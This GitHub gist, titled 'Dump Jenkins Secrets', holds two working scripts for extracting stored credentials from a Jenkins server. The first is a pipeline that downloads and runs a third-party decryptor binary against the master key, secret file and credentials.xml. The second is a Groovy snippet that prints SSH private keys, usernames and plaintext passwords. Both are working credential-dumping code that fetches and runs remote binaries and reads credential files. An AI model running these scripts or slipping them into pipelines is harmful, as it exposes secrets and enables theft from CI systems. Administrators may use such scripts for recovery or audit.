Skip to content

Instantly share code, notes, and snippets.

@mrunkel
Last active November 22, 2022 14:23
Show Gist options
  • Save mrunkel/14fea026ae2143fa93176275641422b9 to your computer and use it in GitHub Desktop.
Save mrunkel/14fea026ae2143fa93176275641422b9 to your computer and use it in GitHub Desktop.
Dump Jenkins Secrets
pipeline {
agent any
stages {
stage('Dump credentials') {
steps {
script {
sh '''
curl -L \ "https://github.com/hoto/jenkins-credentials-decryptor/releases/download/0.0.5-alpha/jenkins-credentials-decryptor_0.0.5-alpha_$(uname -s)_$(uname -m)" \ -o jenkins-credentials-decryptor
chmod +x jenkins-credentials-decryptor
./jenkins-credentials-decryptor \ -m $JENKINS_HOME/secrets/master.key \ -s $JENKINS_HOME/secrets/hudson.util.Secret \ -c $JENKINS_HOME/credentials.xml
'''
}
}
}
}
}
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.common.StandardUsernameCredentials.class,
Jenkins.instance,
null,
null
)
for(c in creds) {
if(c instanceof com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey){
println(String.format("id=%s desc=%s key=%s\n", c.id, c.description, c.privateKeySource.getPrivateKeys()))
}
if (c instanceof com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl){
println(String.format("id=%s desc=%s user=%s pass=%s\n", c.id, c.description, c.username, c.password))
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment